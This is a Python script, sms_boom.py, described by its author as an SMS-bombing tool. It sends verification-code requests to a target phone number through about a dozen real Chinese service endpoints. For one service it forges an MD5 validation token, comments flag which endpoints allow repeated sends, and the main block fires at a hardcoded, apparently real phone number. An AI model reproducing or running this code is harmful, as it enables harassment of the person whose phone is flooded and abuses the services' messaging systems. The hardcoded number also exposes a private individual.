# -*- encoding: utf-8 -*-
'''
@File    :   sms_boom.py
@Time    :   2020年12月20日 10:48:51 星期天
@Author  :   ermao
@Version :   1.0
@Link    :   https://erma0.cn
@Desc    :   短信轰炸
'''

print('start sms_boom.py')

import requests
import time
import json
import hashlib


def _get(url):
    header = {
        "User-Agent":
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36"
    }
    try:
        text = requests.get(url, headers=header, timeout=5).text
        print(text)
    except:
        pass


def _post(url, data, header):
    header[
        "User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36"
    try:
        text = requests.post(url, data=data, headers=header, timeout=5).text
        print(text)
    except:
        pass


def get_timestamp(long=13):
    if long == 10:
        timestamp = str(int(time.time()))
    else:  # long == 13:
        timestamp = str(int(time.time() * 1000))
    return timestamp


def a(phone):
    api = [
        # 【苏宁PPTV】
        'http://api.passport.pptv.com/checkImageCodeAndSendMsg?&scene=REG_PPTV_APP&deviceId=867830021000533&aliasName=[手机号]',
        # 【喜扑平台】
        'http://h5.zhangyueyx.com/api.php?act=send-verify&phone=[手机号]&app_id=5296453af04ba84aef3497a3b3bde92a',
        # 【乐居】
        'http://standarddraw2601.wx.leju.com/?site=activity&ctl=login&act=send_code&mobile=[手机号]',
        # 【贪玩游戏】
        'https://hd.tanwan.com/api/reg_json_2019.php?act=3&phone=[手机号]&callback=jQuery112007411987516852427_1593535266273&_=[时间戳]'
    ]

    for u in api:
        url = u.replace('[手机号]', phone).replace('[时间戳]', get_timestamp())
        _get(url)


def b(phone):
    # 【蜂鸟汇报】
    url = 'http://manage.qinghi.com/api/android/sendSMSAction.action?mobilephone=[手机号]&valid='.replace(
        '[手机号]', phone)
    str_md5 = 'qinghi{}{}'.format(
        time.strftime("%Y%m%d%H%M", time.localtime()), phone)
    valid = hashlib.md5(str_md5.encode('utf-8')).hexdigest()
    _get(url + valid)


def c(phone):
    # 【100教育】
    # 【可连续发送几次】
    url = 'https://hippo.100.com/api/notify/sendMsgValidateCode'
    data = {"appType": "K12SZ", "phone": phone}
    header = {'Content-Type': 'application/json;charset=UTF-8'}
    _post(url, json.dumps(data), header)


def d(phone):
    # 【蜜罐智能柜】
    url = 'http://sys.miguanzhineng.com/api/services/app/SmsSendCode/SendVerificationCodeAsync'
    data = {"type": 4, "phoneNumber": phone}
    header = {'Content-Type': 'application/json'}
    _post(url, json.dumps(data), header)


def e(phone):
    # 【微快递】
    url = 'https://m.kuaidihelp.com/binding/sendCode'
    data = {'mobile': phone, 'bind_type': 'sto_ess_mobile_verify'}
    header = {}
    _post(url, data, header)


def f(phone):
    # 【币友料】
    url = 'http://app.xwxyq.cn/api/Sms/send.html'
    data = {'event': 'register', 'mobile': phone}
    header = {}
    _post(url, data, header)


def g(phone):
    # 【众合润城】
    url = 'http://api.zhherc.com/user/api/user/verify/send?ran=' + get_timestamp(
    )
    data = {"identity": '86 ' + phone, "verifyType": 0}
    header = {'Content-Type': 'application/json;charset=UTF-8'}
    _post(url, json.dumps(data), header)


def h(phone):
    # 【稻草人】
    # 【可连续发送】
    url = 'http://app.qlxqlx777.com//api/login/send_sms'
    data = {"phone": phone, "type": 1}
    header = {'Content-Type': 'application/json'}
    _post(url, json.dumps(data), header)


def send_sms(phone):
    # phone = '15221395158'

    # ls = [
    #     'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
    #     'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'
    # ]

    fun_list = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h']
    for fun in fun_list:
        eval('{}("{}")'.format(fun, phone))


if __name__ == "__main__":
    send_sms('15221395158')

# %Y%m%d%H%M
